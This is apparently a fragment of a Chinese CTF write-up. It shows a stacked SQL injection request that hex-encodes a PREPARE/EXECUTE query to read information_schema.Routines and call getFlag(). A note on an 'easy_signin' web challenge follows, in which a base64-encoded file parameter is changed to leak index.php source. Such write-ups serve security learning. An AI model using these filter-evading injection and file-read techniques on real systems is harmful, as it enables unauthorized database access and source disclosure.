1 | GET /api/?username=';prepare%20h%20from%200x53454c454354202a2046524f4d20696e666f726d6174696f6e5f736368656d612e526f7574696e6573;execute%20h;--+%0A#%20SELECT%20*%20FROM%20information_schema.Routines%0A';%20call%20getFlag();--+ |
或者
1 | # select hex("select * from information_schema.routines") |
愚人节杯
WEB
easy_signin
查看浏览器发现url链接是base64加密。
base64解码是face.png
,尝试flag.txt
和flag.php
,base64加密后传入都不对,用index.php
加密后传入,看源码,然后通过base64解密。